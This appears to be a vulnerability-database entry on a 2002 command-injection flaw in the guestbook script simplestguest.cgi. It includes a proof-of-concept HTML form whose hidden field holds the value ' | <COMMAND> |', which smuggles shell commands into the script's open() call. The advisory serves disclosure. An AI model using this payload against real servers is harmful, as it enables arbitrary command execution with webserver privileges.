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vendor:
simplestguest.cgi
by:
Leif M. Wright
7.5
CVSS
HIGH
Insecure call to the open() function
78
CWE
Product Name: simplestguest.cgi
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2002

Leif M. Wright’s simplestguest.cgi Vulnerability

An insecure call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privileges of the webserver.

Mitigation:

Filter user input to prevent malicious code from being executed.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/2106/info

A vulnerabiliy exists in Leif M. Wright's simplestguest.cgi, a script designed to coordinate guestbook submissions from website visitors.

An insecure call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privileges of the webserver. 

Make a html form similar to:

<form action=/cgi-bin/simplestguest.cgi method=POST>
                 <input type=hidden name=required value="NAME">
                 <input type=hidden name=guestbook
                value=" | <COMMAND> |">
                 <input type=hidden name="NAME" value="user">
                 <input type=submit>
</form>

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